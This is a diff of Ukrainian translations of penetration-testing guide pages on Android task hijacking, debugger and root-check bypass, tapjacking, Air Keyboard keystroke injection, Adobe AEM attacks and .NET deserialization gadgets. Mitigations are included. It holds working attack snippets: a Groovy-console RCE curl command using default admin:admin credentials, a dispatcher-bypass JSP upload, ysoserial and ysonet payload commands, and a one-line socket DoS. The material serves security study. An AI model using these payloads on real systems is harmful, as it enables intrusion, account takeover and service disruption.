Атака має ширшу поверхню, ніж багато розробників вважають, оскільки **кожна активність автоматично успадковує афіліацію, рівну імені пакета програми** (якщо розробник не встановить `android:taskAffinity=""`). Тому *нічого не роблячи* вже залишає додаток відкритим для захоплення завдань на версіях Android до 11.
|
||||
|
||||
### Класичний сценарій "singleTask / StrandHogg"
|
||||
|
||||
@ -39,11 +39,11 @@ android:launchMode="singleTask" >
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
2. Шкідливий додаток запускається один раз, щоб завдання (з підробленою афінністю) існувало в останніх завданнях.
|
||||
3. Коли користувач пізніше відкриває реальний додаток, Android виявляє, що вже існує завдання, афінність якого **відповідає пакету**, і просто виводить це завдання на передній план.
|
||||
2. Шкідливий додаток запускається один раз, щоб завдання (з підробленою афіліацією) існувало в останніх завданнях.
|
||||
3. Коли користувач пізніше відкриває реальний додаток, Android виявляє, що вже існує завдання, чия **root афіліація відповідає пакету**, і просто виводить це завдання на передній план.
|
||||
4. Інтерфейс зловмисника показується першим.
|
||||
|
||||
### Вариант за замовчуванням – випадок Caller ID
|
||||
### Варіант Default–Affinity (без `singleTask`) – Дослідження Caller ID
|
||||
|
||||
Вразливість, виявлена в додатку **Caller ID (caller.id.phone.number.block)**, показує, що атака *також* працює проти стандартного режиму запуску `standard`:
|
||||
|
||||
@ -67,30 +67,30 @@ android:taskAffinity="com.caller.id.phone.number.block" >
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
3. Як тільки користувач встановлює і відкриває шкідливий додаток **один раз**, завдання, афінність якого дорівнює пакету жертви, існує (але знаходиться на фоні).
|
||||
4. Коли запускається реальний додаток Caller ID, Android повторно використовує це завдання і виводить `HackActivity` на передній план → вікно фішингу/зловживання дозволами.
|
||||
3. Як тільки користувач встановлює і відкриває шкідливий додаток **один раз**, завдання, афіліація якого дорівнює пакету жертви, існує (але знаходиться на фоні).
|
||||
4. Коли запускається реальний додаток Caller ID, Android повторно використовує це завдання і виводить `HackActivity` на передній план → фішинг вікно/зловживання дозволами.
|
||||
|
||||
> ПРИМІТКА: Починаючи з **Android 11 (API 30)**, система *не* поміщає два пакети, які не є частиною одного UID, в одне завдання за замовчуванням, що пом'якшує цей конкретний варіант. Старі версії залишаються вразливими.
|
||||
|
||||
---
|
||||
|
||||
### StrandHogg 2.0 (CVE-2020-0096) – Захоплення завдання на основі рефлексії
|
||||
### StrandHogg 2.0 (CVE-2020-0096) – Захоплення завдань на основі рефлексії
|
||||
|
||||
Безпековий бюлетень Google за травень 2020 року виправив більш просунутий варіант, названий **StrandHogg 2.0**. Експлуатація **не покладається на `taskAffinity` взагалі**; натомість вона використовує *рефлексію*, щоб динамічно вставити активність зловмисника на верхівку *кожного* запущеного завдання, повністю обходячи обмеження "спільного UID", введене Android 11.
|
||||
|
||||
Ключові моменти:
|
||||
|
||||
* Шкідливий додаток без дозволів може, після відкриття, перебрати запущені завдання і викликати приховані API, щоб **перенести** свою активність у будь-яке завдання.
|
||||
* Шкідливий додаток з нульовими дозволами може, після відкриття, перебрати запущені завдання і викликати приховані API, щоб **перенести** свою власну активність у будь-яке завдання.
|
||||
* Оскільки активність вставляється після часу виконання, ні `launchMode`, ні статичний аналіз маніфесту не можуть виявити атаку заздалегідь.
|
||||
* Виправлено шляхом перенесення перевірки в **Android 8.0/8.1/9** (травень 2020 SPL). **Android 10 і новіші версії не підлягають впливу.**
|
||||
* Виправлено шляхом перенесення перевірки в **Android 8.0/8.1/9** (травень 2020 SPL). **Android 10 і новіші не підлягають впливу.**
|
||||
|
||||
Виявлення на пристроях до виправлення може бути виконано за допомогою `adb shell dumpsys activity activities` і спостереження за підозрілими активностями, назва пакета яких відрізняється від *афінності* завдання.
|
||||
Виявлення на пристроях до виправлення може бути виконано за допомогою `adb shell dumpsys activity activities` і спостереження за підозрілими активностями, ім'я пакета яких відрізняється від *афіліації* завдання.
|
||||
|
||||
Пом'якшення для старих пристроїв таке ж, як і класичне захоплення завдань **плюс** перевірка під час виконання (наприклад, виклик [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) і перевірка назви вашого пакета).
|
||||
Пом'якшення для старих пристроїв таке ж, як і класичне захоплення завдань **плюс** перевірка під час виконання (наприклад, виклик [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) і перевірка вашого власного імені пакета).
|
||||
|
||||
---
|
||||
|
||||
## Перелік виявлення та експлуатації
|
||||
## Detection & Exploitation checklist
|
||||
|
||||
1. **Статичний огляд** – Витягніть `AndroidManifest.xml` з цільового APK і перевірте, що кожна `<activity>` (або глобальний елемент `<application>`) містить `android:taskAffinity=""` (порожній) **або** налаштоване значення. Інструменти, такі як:
|
||||
```bash
|
||||
@ -104,7 +104,7 @@ java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
|
||||
```bash
|
||||
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
|
||||
```
|
||||
Завдання, афінність кореня якого дорівнює пакету жертви, але верхня активність належить до *іншого* пакету, є червоним прапором.
|
||||
Завдання, чия коренева афіліація дорівнює пакету жертви, але верхня активність належить до *іншого* пакету, є червоним прапором.
|
||||
3. Створіть шкідливий додаток, як описано вище, або використовуйте **[Drozer](https://github.com/WithSecureLabs/drozer)**:
|
||||
```bash
|
||||
drozer console connect
|
||||
@ -114,25 +114,25 @@ run app.activity.info com.victim
|
||||
|
||||
---
|
||||
|
||||
## Пом'якшення
|
||||
## Mitigation
|
||||
|
||||
Розробники повинні:
|
||||
|
||||
* Явно встановити `android:taskAffinity=""` на рівні `<application>` (рекомендується) **або** надати кожній активності унікальну, приватну афінність.
|
||||
* Явно встановити `android:taskAffinity=""` на рівні `<application>` (рекомендується) **або** надати кожній активності унікальну, приватну афіліацію.
|
||||
* Для дуже чутливих екранів поєднати вищезазначене з `android:launchMode="singleInstance"` або сучасними [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) захистами.
|
||||
* Оновити `targetSdkVersion` додатка та впровадити зміни поведінки **Android 11**, де завдання за замовчуванням не діляться між пакетами.
|
||||
* Націлити **Android 12 (API 31) або вище**, щоб обов'язковий атрибут `android:exported` змусив розробників перевіряти кожен компонент, доступний ззовні.
|
||||
* Оновити `targetSdkVersion` додатка та впровадити **Android 11** зміни поведінки, де завдання за замовчуванням не діляться між пакетами.
|
||||
* Націлити **Android 12 (API 31) або вище**, щоб обов'язковий атрибут `android:exported` змусив розробників перевіряти кожен зовнішньо доступний компонент.
|
||||
* Розглянути самозахист під час виконання: періодично запитувати `ActivityTaskManager`, щоб переконатися, що пакет вашої верхньої активності відповідає вашому власному.
|
||||
|
||||
---
|
||||
|
||||
## Пов'язані техніки захоплення UI
|
||||
## Related UI-Hijacking techniques
|
||||
|
||||
Захоплення завдань часто поєднується з або замінюється **tapjacking** (обман UI на основі накладок). Дослідження **TapTrap** 2025 року показало, що повністю прозорі *анімовані* активності можуть обійти обмеження на накладення дотиків, введені в Android 12–14, і все ще обманювати користувачів, змушуючи їх надавати небезпечні дозволи. Хоча TapTrap не є строго *захопленням* завдань, кінцева мета (фішингові кліки) ідентична – тому сучасні оцінки повинні перевіряти обидві поверхні атаки.
|
||||
Захоплення завдань часто поєднується з або замінюється **tapjacking** (обман інтерфейсу на основі накладок). Дослідження **TapTrap** 2025 року показало, що повністю прозорі *анімовані* активності можуть обійти обмеження на накладення дотиків, введені в Android 12–14, і все ще обманювати користувачів, змушуючи їх надавати небезпечні дозволи. Хоча TapTrap не є строго *захопленням* завдань, кінцева мета (фішингові кліки) ідентична – тому сучасні оцінки повинні перевіряти обидві поверхні атак.
|
||||
|
||||
---
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
# **Обхід перевірок root та налагодження**
|
||||
|
||||
Цей розділ посту є резюме з посту [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
Цей розділ посту є підсумком з посту [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
|
||||
## Кроки для перетворення Android-додатку на налагоджуваний та обходу перевірок
|
||||
|
||||
@ -43,7 +43,7 @@
|
||||
|
||||
### **Обхід перевірок**
|
||||
|
||||
Додаток у певні моменти перевіряє, чи є він налагоджуваним, а також перевіряє наявність бінарних файлів, що вказують на пристрій з root-доступом. Налагоджувач може бути використаний для зміни інформації про додаток, скидання біта налагодження та зміни назв шуканих бінарних файлів для обходу цих перевірок.
|
||||
Додаток у певні моменти перевіряє, чи є він налагоджуваним, а також перевіряє наявність бінарних файлів, що вказують на рутований пристрій. Налагоджувач може бути використаний для зміни інформації про додаток, скидання біта налагодження та зміни назв шуканих бінарних файлів для обходу цих перевірок.
|
||||
|
||||
Для перевірки налагодження:
|
||||
|
||||
@ -75,13 +75,13 @@
|
||||
|
||||
## **Впровадження коду під час виконання**
|
||||
|
||||
- Експлуатація проводилася шляхом встановлення точок зупинки та контролю потоку виконання додатку.
|
||||
- Експлуатація була здійснена шляхом встановлення точок зупинки та контролю потоку виконання додатку.
|
||||
- Команди, такі як `classes` та `methods <class_name>`, використовувалися для виявлення структури додатку.
|
||||
- Точка зупинки була встановлена в методі `onClick`, і її виконання контролювалося.
|
||||
- Команди `locals`, `next` та `set` використовувалися для перевірки та зміни локальних змінних, зокрема зміни повідомлення "Try Again" на "Hacked".
|
||||
- Модифікований код виконувався за допомогою команди `run`, успішно змінюючи вихід додатку в реальному часі.
|
||||
- Модифікований код був виконаний за допомогою команди `run`, успішно змінюючи вихід додатку в реальному часі.
|
||||
|
||||
Цей приклад продемонстрував, як можна маніпулювати поведінкою налагоджуваного додатку, підкреслюючи потенціал для більш складних експлойтів, таких як отримання доступу до оболонки на пристрої в контексті додатку.
|
||||
Цей приклад продемонстрував, як можна маніпулювати поведінкою налагоджуваного додатку, підкреслюючи потенціал для більш складних експлуатацій, таких як отримання доступу до оболонки на пристрої в контексті додатку.
|
||||
|
||||
---
|
||||
|
||||
@ -89,7 +89,7 @@
|
||||
|
||||
Навіть якщо цільовий APK _не_ постачається з прапорцем `android:debuggable`, нещодавні дослідження показали, що можливо примусити **произвольні додатки** запускатися з прапорцем `DEBUG_ENABLE_JDWP` під час виконання, зловживаючи способом, яким Zygote аналізує аргументи командного рядка.
|
||||
|
||||
* **Вразливість:** Неправильна валідація `--runtime-flags`, наданих через командний сокет Zygote, дозволяє зловмиснику, який може досягти `system_server` (наприклад, через привілейовану оболонку `adb`, яка має дозвіл `WRITE_SECURE_SETTINGS`), впроваджувати додаткові параметри. Коли підготовлена команда повторно відтворюється `system_server`, жертва додаток створюється як _налагоджуваний_ і з потоком JDWP, що слухає. Проблема відстежується як **CVE-2024-31317** і була виправлена в червневому бюлетені безпеки Android 2024 року.
|
||||
* **Вразливість:** Неправильна валідація `--runtime-flags`, наданих через командний сокет Zygote, дозволяє зловмиснику, який може досягти `system_server` (наприклад, через привілейовану оболонку `adb`, яка має дозвіл `WRITE_SECURE_SETTINGS`), впроваджувати додаткові параметри. Коли підроблена команда повторно відтворюється `system_server`, жертва додаток створюється як _налагоджуваний_ і з потоком JDWP, що слухає. Проблема відстежується як **CVE-2024-31317** і була виправлена в червневому бюлетені безпеки Android 2024 року.
|
||||
* **Вплив:** Повний доступ на читання/запис до приватного каталогу даних **будь-якого** додатку (включаючи привілейовані, такі як `com.android.settings`), крадіжка токенів, обхід MDM, і в багатьох випадках прямий шлях до ескалації привілеїв шляхом зловживання експортованими IPC-точками тепер налагоджуваного процесу.
|
||||
* **Постраждалі версії:** Android 9 до 14 до червневого рівня патчів 2024 року.
|
||||
|
||||
@ -111,7 +111,7 @@ jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
|
||||
## Виявлення та пом'якшення
|
||||
|
||||
* Виправлення до **2024-06-01** (або пізніше) рівня безпеки – Google посилив `ZygoteCommandBuffer`, щоб наступні команди не могли бути контрабандою таким чином.
|
||||
* Патч до **2024-06-01** (або пізніше) рівня безпеки – Google посилив `ZygoteCommandBuffer`, щоб наступні команди не могли бути контрабандно введені таким чином.
|
||||
* Обмежити доступ `WRITE_SECURE_SETTINGS` / `shell` на виробничих пристроях. Для експлуатації потрібен цей дозвіл, який зазвичай має лише ADB або програми з привілеями OEM.
|
||||
* У флотах, керованих EMM/MDM, примусово встановити `ro.debuggable=0` і заборонити shell через `adb disable-verifier`.
|
||||
|
||||
|
@ -4,12 +4,12 @@
|
||||
|
||||
## **Основна інформація**
|
||||
|
||||
**Tapjacking** - це атака, коли **зловмисний** **додаток** запускається і **розташовується поверх додатку жертви**. Як тільки він видимо закриває додаток жертви, його інтерфейс користувача спроектований таким чином, щоб обманути користувача взаємодіяти з ним, в той час як він передає взаємодію до додатку жертви.\
|
||||
Таким чином, він **осліплює користувача, не даючи йому знати, що він насправді виконує дії в додатку жертви**.
|
||||
**Tapjacking** - це атака, коли **шкідлива** **додаток** запускається і **розташовується поверх додатку жертви**. Як тільки він видимо закриває додаток жертви, його інтерфейс користувача спроектований таким чином, щоб обманути користувача взаємодіяти з ним, в той час як він передає взаємодію до додатку жертви.\
|
||||
Фактично, це **осліплює користувача, не даючи йому знати, що він насправді виконує дії в додатку жертви**.
|
||||
|
||||
### Виявлення
|
||||
|
||||
Щоб виявити додатки, вразливі до цієї атаки, ви повинні шукати **експортовані активності** в маніфесті android (зверніть увагу, що активність з intent-filter автоматично експортується за замовчуванням). Як тільки ви знайдете експортовані активності, **перевірте, чи потребують вони будь-яких дозволів**. Це пов'язано з тим, що **зловмисний додаток також потребуватиме цього дозволу**.
|
||||
Щоб виявити додатки, вразливі до цієї атаки, ви повинні шукати **експортовані активності** в маніфесті android (зверніть увагу, що активність з intent-filter автоматично експортується за замовчуванням). Як тільки ви знайдете експортовані активності, **перевірте, чи потребують вони будь-яких дозволів**. Це пов'язано з тим, що **шкідливий додаток також потребуватиме цього дозволу**.
|
||||
|
||||
Ви також можете перевірити мінімальну версію SDK додатку, перевіряючи значення **`android:minSdkVersion`** у файлі **`AndroidManifest.xml`**. Якщо значення **менше 30**, додаток вразливий до Tapjacking.
|
||||
|
||||
@ -52,11 +52,11 @@ android:filterTouchesWhenObscured="true">
|
||||
> [!CAUTION]
|
||||
> Схоже, що цей проект зараз не підтримується, і ця функціональність більше не працює належним чином
|
||||
|
||||
Ви можете використовувати [**qark**](https://github.com/linkedin/qark) з параметрами `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` для створення шкідливого додатку для перевірки можливих вразливостей **Tapjacking**.\
|
||||
Ви можете використовувати [**qark**](https://github.com/linkedin/qark) з параметрами `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk`, щоб створити шкідливий додаток для перевірки можливих вразливостей **Tapjacking**.\
|
||||
|
||||
Пом'якшення є відносно простим, оскільки розробник може вибрати не отримувати події дотику, коли вид покритий іншим. Використовуючи [Довідник розробника Android](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> Іноді важливо, щоб додаток могло перевірити, що дія виконується з повним усвідомленням і згодою користувача, наприклад, надання запиту на дозвіл, здійснення покупки або натискання на рекламу. На жаль, шкідливий додаток може спробувати обманути користувача, змусивши його виконати ці дії, не усвідомлюючи цього, приховуючи справжню мету виду. Як засіб, фреймворк пропонує механізм фільтрації дотиків, який можна використовувати для підвищення безпеки видів, що надають доступ до чутливої функціональності.
|
||||
> Іноді важливо, щоб додаток міг перевірити, що дія виконується з повним усвідомленням і згодою користувача, наприклад, надання запиту на дозвіл, здійснення покупки або натискання на рекламу. На жаль, шкідливий додаток може спробувати обманути користувача, змушуючи його виконувати ці дії, не усвідомлюючи цього, приховуючи справжню мету виду. Як засіб, фреймворк пропонує механізм фільтрації дотиків, який можна використовувати для підвищення безпеки видів, що надають доступ до чутливої функціональності.
|
||||
>
|
||||
> Щоб увімкнути фільтрацію дотиків, викликайте [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) або встановіть атрибут макета android:filterTouchesWhenObscured в true. Коли це увімкнено, фреймворк відкине дотики, які отримуються, коли вікно виду закрите іншим видимим вікном. В результаті вид не отримає дотики, коли над вікном виду з'являється тост, діалог або інше вікно.
|
||||
|
||||
@ -86,7 +86,7 @@ PixelFormat.TRANSLUCENT);
|
||||
wm.addView(phishingView, lp);
|
||||
```
|
||||
### Типовий робочий процес, що використовується банківськими троянами
|
||||
* Запитати встановлені пакети (`QUERY_ALL_PACKAGES`), щоб з'ясувати, який банківський / гаманцевий додаток наразі відкритий.
|
||||
* Запит на встановлені пакети (`QUERY_ALL_PACKAGES`), щоб з'ясувати, який банківський / гаманцевий додаток наразі відкритий.
|
||||
* Завантажити **HTML/JS накладку** з C2, яка ідеально імітує цей конкретний додаток (логотип, кольори, рядки i18n…).
|
||||
* Відобразити накладку, зібрати облікові дані/PIN/шаблон.
|
||||
* Використовувати **Accessibility API** (`performGlobalAction`, `GestureDescription`), щоб автоматизувати перекази у фоновому режимі.
|
||||
|
@ -7,16 +7,16 @@
|
||||
iOS версія комерційного **“Air Keyboard”** додатку (App Store ID 6463187929) відкриває локальну мережеву службу, яка **приймає кадри натискань клавіш без будь-якої аутентифікації або перевірки походження**. В залежності від встановленої версії служба є:
|
||||
|
||||
* **≤ 1.0.4** – сирий TCP слухач на **порті 8888**, який очікує заголовок довжини 2 байти, за яким слідує *device-id* та ASCII навантаження.
|
||||
* **≥ 1.0.5 (червень 2025)** – **WebSocket** слухач на *тому ж* порті (**8888**), який парсить **JSON** ключі, такі як `{"type":1,"text":"…"}`.
|
||||
* **≥ 1.0.5 (червень 2025)** – **WebSocket** слухач на *тому ж* порту (**8888**), який парсить **JSON** ключі, такі як `{"type":1,"text":"…"}`.
|
||||
|
||||
Будь-який пристрій в тій же Wi-Fi / підмережі може **впроваджувати довільний ввід з клавіатури в телефон жертви, досягаючи повного віддаленого захоплення взаємодії**.
|
||||
Супутня Android версія слухає на **порті 55535**. Вона виконує слабкий AES-ECB хендшейк, але створене сміття все ще викликає **неконтрольоване виключення в OpenSSL**, що призводить до збоїв фонової служби (**DoS**).
|
||||
Супутня Android версія слухає на **порті 55535**. Вона виконує слабкий AES-ECB хендшейк, але створене сміття все ще викликає **некероване виключення всередині OpenSSL**, що призводить до аварійного завершення фонової служби (**DoS**).
|
||||
|
||||
> Уразливість **досі не виправлена на момент написання (липень 2025)**, і додаток залишається доступним в App Store.
|
||||
|
||||
---
|
||||
|
||||
## 1. Service Discovery
|
||||
## 1. Виявлення служби
|
||||
|
||||
Скануйте локальну мережу та шукайте два фіксовані порти, які використовуються додатками:
|
||||
```bash
|
||||
@ -26,7 +26,7 @@ nmap -p 8888 --open 192.168.1.0/24
|
||||
# Android (weakly-authenticated service)
|
||||
nmap -p 55535 --open 192.168.1.0/24
|
||||
```
|
||||
На Android-пристроях ви можете локально визначити відповідний пакет:
|
||||
На пристроях Android ви можете локально визначити відповідний пакет:
|
||||
```bash
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
# rooted device / Termux
|
||||
@ -119,7 +119,7 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
|
||||
Air Keyboard **не є ізольованим випадком**. Інші мобільні утиліти “віддалена клавіатура/миша” мають ту ж саму вразливість:
|
||||
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 дозволяє неавтентифіковане виконання команд та записування клавіш у відкритому тексті.
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 дозволяє неавтентифіковане виконання команд та ведення журналу клавіш у відкритому тексті.
|
||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 неавтентифіковане RCE та перехоплення трафіку.
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 за замовчуванням без пароля, слабкий PIN брутфорс та витік у відкритому тексті.
|
||||
|
||||
@ -129,7 +129,7 @@ Air Keyboard **не є ізольованим випадком**. Інші мо
|
||||
|
||||
## 6. Корінні причини
|
||||
|
||||
1. **Відсутність перевірок походження/цілісності** на вхідних кадрах (iOS).
|
||||
1. **Відсутність перевірок походження / цілісності** на вхідних кадрах (iOS).
|
||||
2. **Неправильне використання криптографії** (статичний ключ, ECB, відсутня перевірка довжини) та **відсутність обробки виключень** (Android).
|
||||
3. **Право доступу до локальної мережі, надане користувачем ≠ безпека** – iOS запитує згоду на виконання LAN-трафіку, але це не замінює належну автентифікацію.
|
||||
|
||||
@ -140,16 +140,16 @@ Air Keyboard **не є ізольованим випадком**. Інші мо
|
||||
Рекомендації для розробників:
|
||||
|
||||
* Прив'язати слухача до **`127.0.0.1`** та тунелювати через **mTLS** або **Noise XX**, якщо потрібен віддалений контроль.
|
||||
* Виводити **секрети на пристрій під час onboarding** (наприклад, QR-код або PIN для парування) та забезпечити *взаємну* автентифікацію перед обробкою введення.
|
||||
* Виводити **секрети на пристрій під час onboarding** (наприклад, QR-код або PIN для спарювання) та забезпечити *взаємну* автентифікацію перед обробкою введення.
|
||||
* Прийняти **Apple Network Framework** з *NWListener* + TLS замість сирих сокетів.
|
||||
* Реалізувати **перевірки довжини** та структуровану обробку виключень під час розшифрування або декодування кадрів.
|
||||
* Реалізувати **перевірки цілісності з префіксом довжини** та структуровану обробку виключень під час розшифрування або декодування кадрів.
|
||||
|
||||
Швидкі виграші для Blue-/Red-Team:
|
||||
|
||||
* **Мережеве полювання:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` або фільтр Wireshark `tcp.port == 8888`.
|
||||
* **Перевірка в реальному часі:** скрипт Frida, що підключає `socket()`/`NWConnection` для переліку несподіваних слухачів.
|
||||
* **Звіт про конфіденційність додатків iOS (Налаштування ▸ Конфіденційність та безпека ▸ Звіт про конфіденційність додатків)** підкреслює додатки, які контактують з LAN-адресами – корисно для виявлення зловмисних сервісів.
|
||||
* **Мобільні EDR** можуть додати прості правила Yara-L для JSON-ключів `"selectionStart"`, `"selectionEnd"` всередині TCP-пейлоадів у відкритому тексті на порту 8888.
|
||||
* **Мобільні EDR** можуть додати прості правила Yara-L для JSON-ключів `"selectionStart"`, `"selectionEnd"` всередині відкритих TCP-пейлоадів на порту 8888.
|
||||
|
||||
---
|
||||
|
||||
|
@ -30,7 +30,7 @@ X-Vary: Accept-Encoding
|
||||
`/.json`, `/.1.json` | JCR вузли через **DefaultGetServlet** | Часто заблоковано, але *Dispatcher bypass* (див. нижче) працює.
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | Витік дерева сторінок, внутрішні шляхи, імена користувачів.
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix консоль | 403 за замовчуванням; якщо відкрито та знайдено облікові дані ⇒ завантаження пакета RCE.
|
||||
`/crx/packmgr/index.jsp` | Менеджер пакетів | Дозволяє автентифіковані контент-пакети → завантаження JSP корисного навантаження.
|
||||
`/crx/packmgr/index.jsp` | Менеджер пакетів | Дозволяє автентифіковані пакети контенту → завантаження JSP корисного навантаження.
|
||||
`/etc/groovyconsole/**` | AEM Groovy Console | Якщо відкрито → довільне виконання Groovy / Java.
|
||||
`/libs/cq/AuditlogSearchServlet.json` | Журнали аудиту | Розкриття інформації.
|
||||
`/libs/cq/ui/content/dumplibs.html` | Вивантаження ClientLibs | Вектор XSS.
|
||||
@ -46,7 +46,7 @@ GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
|
||||
## 3. Загальні неправильні налаштування (все ще актуальні у 2025 році)
|
||||
|
||||
1. **Анонімний POST сервлет** – `POST /.json` з `:operation=import` дозволяє створювати нові вузли JCR. Блокування `*.json` POST у Dispatcher вирішує цю проблему. 【】
|
||||
1. **Анонімний POST сервлет** – `POST /.json` з `:operation=import` дозволяє вам створювати нові вузли JCR. Блокування `*.json` POST у Dispatcher вирішує цю проблему. 【】
|
||||
2. **Профілі користувачів, доступні для всіх** – за замовчуванням ACL надає `jcr:read` на `/home/users/**/profile/*` всім.
|
||||
3. **Стандартні облікові дані** – `admin:admin`, `author:author`, `replication:replication`.
|
||||
4. **WCMDebugFilter** увімкнено ⇒ відображений XSS через `?debug=layout` (CVE-2016-7882, все ще виявляється на застарілих установках 6.4).
|
||||
@ -59,11 +59,11 @@ curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groov
|
||||
|
||||
## 4. Останні вразливості (каденція сервіс-паків)
|
||||
|
||||
Квартал | CVE | Вразливі | Вплив
|
||||
Квартал | CVE | Підлягає | Вплив
|
||||
------- | --- | -------- | ------
|
||||
Грудень 2024 | **CVE-2024-43711** | 6.5.21 та раніше | Неправильна валідація введення → **Випадкове виконання коду** (вимагає авторизації з низькими привілеями). 【】
|
||||
Грудень 2024 | CVE-2024-43724/26 | 6.5.21 та раніше | DOM / Збережений XSS у Move Page Wizard. 【】
|
||||
Грудень 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS на основі DOM через підроблений URL. 【】
|
||||
Грудень 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS на основі DOM через спеціально підготовлене URL. 【】
|
||||
Грудень 2022 | CVE-2022-30683 | ≤ 6.5.13 | Дизайнерська помилка криптографії → розшифрування секрету (потребує облікових даних з низькими привілеями). 【】
|
||||
|
||||
Завжди перевіряйте бюлетень *APSB*, що відповідає сервіс-паку клієнта, і запитуйте останній **6.5.22** або *Cloud Service 2024.11*.
|
||||
@ -73,7 +73,7 @@ curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groov
|
||||
## 5. Фрагменти експлуатації
|
||||
|
||||
### 5.1 RCE через обхід диспетчера + завантаження JSP
|
||||
Якщо анонімне записування можливе:
|
||||
Якщо анонімний запис можливий:
|
||||
```
|
||||
# 1. Create a node that will become /content/evil.jsp
|
||||
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||||
|
@ -7,7 +7,7 @@
|
||||
## Гаджет ObjectDataProvider
|
||||
|
||||
З документації: _клас ObjectDataProvider обгортає та створює об'єкт, який ви можете використовувати як джерело прив'язки_.\
|
||||
Так, це дивне пояснення, тож давайте подивимося, що ж цікавого є в цьому класі: цей клас дозволяє **обгортати довільний об'єкт**, використовувати _**MethodParameters**_ для **встановлення довільних параметрів** і потім **використовувати MethodName для виклику довільної функції** довільного об'єкта, оголошеного за допомогою довільних параметрів.\
|
||||
Так, це дивне пояснення, тож давайте подивимося, що ж у цьому класі такого цікавого: цей клас дозволяє **обгортати довільний об'єкт**, використовувати _**MethodParameters**_ для **встановлення довільних параметрів** і потім **використовувати MethodName для виклику довільної функції** довільного об'єкта, оголошеного за допомогою довільних параметрів.\
|
||||
Отже, довільний **об'єкт** буде **виконувати** **функцію** з **параметрами під час десеріалізації.**
|
||||
|
||||
### **Як це можливо**
|
||||
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
В цьому коді ви можете **перевірити експлойт**, просто запустіть його, і ви побачите, що виконується calc:
|
||||
У цьому коді ви можете **перевірити експлойт**, просто запустіть його, і ви побачите, що виконується calc:
|
||||
```java
|
||||
using System;
|
||||
using System.Text;
|
||||
@ -194,9 +194,9 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
|--------------|----------------------|--------------------|------------------|
|
||||
| **TypeConfuseDelegate** | Пошкоджує запис `DelegateSerializationHolder`, так що, після матеріалізації, делегат вказує на *будь-який* метод, наданий атакуючою стороною (наприклад, `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Зловживає `System.Workflow.ComponentModel.ActivitySurrogateSelector`, щоб *обійти фільтрацію типів .NET ≥4.8* і безпосередньо викликати **конструктор** наданого класу або **компілювати** файл C# на льоту | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Використовує **стару XML** репрезентацію `System.Data.DataSet`, щоб інстанціювати довільні типи, заповнюючи поля `<ColumnMapping>` / `<DataType>` (опціонально підробляючи збірку з `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **DataSetOldBehaviour** | Використовує **стару XML** репрезентацію `System.Data.DataSet`, щоб створити випадкові типи, заповнюючи поля `<ColumnMapping>` / `<DataType>` (опціонально підробляючи збірку з `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
